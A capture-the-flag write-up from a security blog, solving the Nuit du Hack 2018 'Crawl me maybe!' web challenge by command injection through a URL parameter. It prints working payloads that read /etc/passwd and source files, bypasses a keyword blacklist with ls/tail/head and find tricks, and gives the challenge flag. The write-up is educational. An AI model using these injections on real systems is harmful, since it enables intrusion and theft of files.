[CTF NDH 2018 Quals] Write-Up – Web : Crawl me maybe!

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Posted by: Yann C.  /   Category: / / / NDH2k18 / / Vulnerabilities, exploits and PoC   /   No Comments

Write-up of the challenge “Web – Crawl me maybe!” of Nuit du Hack 2018 CTF qualifications.

The weekend of 03/31/2018 is pre-qualification for the Nuit du Hack 2018 as a Jeopardy CTF. Having had the opportunity and the time to participate with some colleagues and friends, here’s a write-up resolution of the challenges which we could participate.

  • Category: Web
  • Name: Crawl me maybe!
  • Description : A website test if a web page validity. You can provide this page by url only. Find a way to find and get the flag.
  • URL : http://crawlmemaybe.challs.malice.fr/
  • Points : 100

This web challenge can be use to check / verify parsing of an external website. The main idea is to inject attack vector as command execution in the POST “url” destinated to the “result” endpoint. Some command filter are in place.

When we go to the main URL, the service is displayed :

CrawlMeMaybe accueil

CrawlMeMaybe accueil

With a legitimate URL, the targeted website is analyzed:

Parse d'un domaine tiers

Parse d’un domaine tiers

By playing with the POST “url” parameter to the “result” page, we can see that the “CrawlMeMaybe.rb” source code is partialy leaked with some vectors and a blacklist is in place to filter command injection (like “flag” or “txt” or “*”) :

CrawlMeMaybe blacklist

CrawlMeMaybe blacklist

First, the command injection is located simply :

url=|cat ../../../../../../../etc/passwd

The whole “CrawlMemAybe.rb” Ruby file can be leaked :

url=| echo $(cat ../../../../../home/challenge/src/CrawlMeMaybe.rb)

Browsing the file system, we can find this path “/home/challenge/src” where a hidden “.flag.txt” file is located :

.flag.txt file found

.flag.txt file found

There is the string “flag” in the “.flag.txt” filename, so we can’t just do a “cat” command on it because there is a blacklist filter. We have to find a shell command to read the content of this file without provide the direct filename.

Several payload can be used, like list all “/home/challenge/src” files and play with “head” and “tail” command :

POST /result HTTP/1.1
Content-Length: 114
Content-Type: application/x-www-form-urlencoded
Referer: http://crawlmemaybe.challs.malice.fr/
Host: crawlmemaybe.challs.malice.fr
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

url=| cat ../../../../../home/challenge/src/"$(ls -1art ../../../../../home/challenge/src/ | tail -n4 | head -n1)"
CrawlMeMaybe flag

CrawlMeMaybe flag with head/tail

Another solution can use the “find” command and apply a “cat” on all files found :

url=|find ../../../../../home/challenge/src/ -exec cat {} \;
CrawlMeMayb flag with find

CrawlMeMayb flag with find

Flag : NDH{CUrly_Ruby_J3p53n}

Greeting to the whole team ! 🙂

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About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.